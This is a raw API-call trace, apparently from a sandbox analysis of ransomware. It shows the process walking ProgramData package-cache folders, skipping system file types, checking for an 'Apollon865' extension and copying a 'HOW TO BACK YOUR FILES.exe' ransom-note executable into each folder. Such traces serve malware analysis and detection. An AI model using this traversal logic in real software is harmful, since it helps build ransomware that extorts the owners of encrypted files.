	[0050.590] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.590] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.590] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.590] lstrcpyW (in: lpString1=0x2d3e630, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.590] lstrlenW (lpString="cab1.cab") returned 8
	[0050.590] lstrlenW (lpString="Apollon865") returned 10
	[0050.590] lstrlenW (lpString=".dll") returned 4
	[0050.590] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.590] lstrlenW (lpString=".lnk") returned 4
	[0050.590] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.590] lstrlenW (lpString=".ini") returned 4
	[0050.590] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.590] lstrlenW (lpString=".sys") returned 4
	[0050.590] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.590] lstrlenW (lpString="cab1.cab") returned 8
	[0050.590] lstrcpyW (in: lpString1=0x2d3e630, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0050.590] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0050.590] lstrlenW (lpString="Apollon865") returned 10
	[0050.590] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0050.590] lstrlenW (lpString=".dll") returned 4
	[0050.590] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0050.591] lstrlenW (lpString=".lnk") returned 4
	[0050.591] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0050.591] lstrlenW (lpString=".ini") returned 4
	[0050.591] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0050.591] lstrlenW (lpString=".sys") returned 4
	[0050.591] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0050.591] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0050.591] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0050.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599b20 | out: hHeap=0x580000) returned 1
	[0050.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0050.591] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 78
	[0050.591] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0050.591] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.591] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.591] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.592] GetLastError () returned 0x0
	[0050.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.592] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.592] CloseHandle (hObject=0x15c) returned 1
	[0050.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.592] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.592] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.592] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.592] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.592] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0050.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599b20
	[0050.592] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0050.592] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.592] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.592] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0050.592] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0050.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599b20 | out: hHeap=0x580000) returned 1
	[0050.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0050.592] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned 87
	[0050.592] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0050.592] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.593] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.593] GetLastError () returned 0x0
	[0050.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.593] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.593] CloseHandle (hObject=0x15c) returned 1
	[0050.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.593] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.593] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.593] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.593] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.594] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0050.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0050.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xde) returned 0x599b20
	[0050.594] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0050.594] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.594] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.594] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0050.594] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0050.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599b20 | out: hHeap=0x580000) returned 1
	[0050.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0050.594] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned 110
	[0050.594] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0050.594] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.594] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.594] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.595] GetLastError () returned 0x0
	[0050.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.595] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.595] CloseHandle (hObject=0x15c) returned 1
	[0050.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.595] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.595] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f508010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.595] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.595] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.595] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.595] lstrlenW (lpString="cab1.cab") returned 8
	[0050.595] lstrlenW (lpString="Apollon865") returned 10
	[0050.595] lstrlenW (lpString=".dll") returned 4
	[0050.595] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.595] lstrlenW (lpString=".lnk") returned 4
	[0050.595] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.595] lstrlenW (lpString=".ini") returned 4
	[0050.595] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.595] lstrlenW (lpString=".sys") returned 4
	[0050.595] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.595] lstrlenW (lpString="cab1.cab") returned 8
	[0050.595] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0050.595] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0050.596] lstrlenW (lpString="Apollon865") returned 10
	[0050.596] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0050.596] lstrlenW (lpString=".dll") returned 4
	[0050.596] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0050.596] lstrlenW (lpString=".lnk") returned 4
	[0050.596] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0050.596] lstrlenW (lpString=".ini") returned 4
	[0050.596] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0050.596] lstrlenW (lpString=".sys") returned 4
	[0050.596] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0050.596] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0050.596] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0050.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0050.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0050.596] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 78
	[0050.596] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0050.596] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.596] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.596] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.597] GetLastError () returned 0x0
	[0050.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.597] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.597] CloseHandle (hObject=0x15c) returned 1
	[0050.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.597] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.597] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.597] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.597] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.597] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0050.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5b58d8
	[0050.597] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x5b7c10
	[0050.597] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.597] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.597] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0050.597] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0050.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0050.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0050.597] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned 87
	[0050.598] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0050.598] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.598] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.598] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.598] GetLastError () returned 0x0
	[0050.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.598] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.598] CloseHandle (hObject=0x15c) returned 1
	[0050.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.598] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.598] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.598] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.598] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.599] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
